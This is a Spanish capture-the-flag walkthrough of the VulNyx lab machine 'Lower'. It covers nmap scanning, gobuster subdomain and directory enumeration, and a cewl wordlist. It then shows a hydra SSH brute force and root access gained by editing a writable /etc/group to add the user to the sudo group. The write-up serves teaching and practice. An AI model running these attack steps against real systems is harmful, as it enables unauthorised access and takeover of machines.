> For the complete documentation index, see [llms.txt](https://beafn28.gitbook.io/beafn28/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://beafn28.gitbook.io/beafn28/writeups/vulnyx/lower.md).

# Lower

🔍 Dificultad: Muy Fácil

### 🔍 **RECONOCIMIENTO**

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 192.168.1.63
```

para verificar la conectividad de red.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F12qH4AMjhmteGY3pCfmG%2Fimage.png?alt=media&amp;token=b3c6f033-5607-4d50-86e9-8e041e96aeb1" alt=""><figcaption></figcaption></figure>

A continuación, se realiza el comando:

```bash
nmap -p- --open 192.168.1.63 --min-rate 5000 -n
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FQznbLEQWtTqsmEqMNI47%2Fimage.png?alt=media&amp;token=bfda6283-01b1-40dc-a2c2-454ba2518000" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH** y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p22,80 -v 192.168.1.63
```

para obtener más información sobre ese puerto específicamente.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FTcwPKGTGvMtgfA5g9kLh%2Fimage.png?alt=media&amp;token=cdef0d23-3957-4200-8931-d9cba25d328c" alt=""><figcaption></figcaption></figure>

Miramos el puerto 80 en la que ponemos el dominio **unique.nyx** en **/etc/hosts**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Ft6Q3uI4tf45bnZuW6r5W%2Fimage.png?alt=media&amp;token=e8b025e3-d277-4e9c-81c5-2bcce4c01e97" alt=""><figcaption></figcaption></figure>

Buscamos subdominios.

```bash
gobuster vhost -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://unique.nyx --append-domain
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FJdod7KdcSpJN8AiUGnvR%2Fimage.png?alt=media&amp;token=a510fa8e-164b-46e5-9b20-64d00dc1861f" alt=""><figcaption></figcaption></figure>

Encontramos este subdominio por lo que lo añadimos en **/etc/hosts**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FeZyNqmC9oIHf5oRuYW5M%2Fimage.png?alt=media&amp;token=3756a809-354a-4b49-bcaf-96052a11a38b" alt=""><figcaption></figcaption></figure>

Aunque encontramos una nueva web no encontramos nada relevante por lo que hacemos una búsqueda de directorios.

```bash
gobuster dir -u http://tech.unique.nyx -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html,txt,php,xml
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FU4WEycHQKuZPaQWrhnJW%2Fimage.png?alt=media&amp;token=619c61e7-9c4a-44bb-b661-c59647f383d3" alt=""><figcaption></figcaption></figure>

No encontramos nada relevante pero si vemos ciertos posibles usuarios por lo que creamos un diccionario.

```bash
cewl http://tech.unique.nyx/ --with-numbers -w usuarios
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FmnuzKU3HPr1KE2vlPnvf%2Fimage.png?alt=media&amp;token=6684a61d-b774-4816-9e42-46a622246fa0" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Realizamos un ataque de fuerza bruta para obtener las credenciales.

```bash
hydra -t 64 -L usuarios -P passwords ssh://192.168.1.63 -F -I
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FSWjt21qtN9JfF7QkOssA%2Fimage.png?alt=media&amp;token=74d3d35b-cbde-4f16-9ae4-ee889a38041a" alt=""><figcaption></figcaption></figure>

Teniendo las credenciales nos logueamos.

```bash
ssh lancer@192.168.1.63
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FgZm5npAQCcGhFfC9GziX%2Fimage.png?alt=media&amp;token=2f4192de-0010-4287-9c3a-e1b74fbbf374" alt=""><figcaption></figcaption></figure>

### 🔐 PRIVILEGIOS

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar. No tenemos permisos SUDO.

Usamos la herramienta [linPEAS ](https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS)que nos ayuda a indetificar para obtener acceso.

```bash
scp linpeas.sh lancer@192.168.1.63:/home/lancer
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FrUgVvpud2T3zLync1NXb%2Fimage.png?alt=media&amp;token=ca37e8d6-aa2f-425c-b5c7-6f9e1962c2e3" alt=""><figcaption></figcaption></figure>

Al ejecutar el script, descubrimos que contamos con permisos de escritura en el archivo `/etc/group`. Esto nos permite modificar la configuración de los grupos y agregar al usuario `lancer` al grupo `sudo`.

```bash
nano /etc/group
su --login $USER
id
sudo su
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F8x7u9ZXGqdIs8fcF7Rpv%2Fimage.png?alt=media&amp;token=8d69c172-a2da-40d9-b9d0-c3be285070f6" alt=""><figcaption></figcaption></figure>
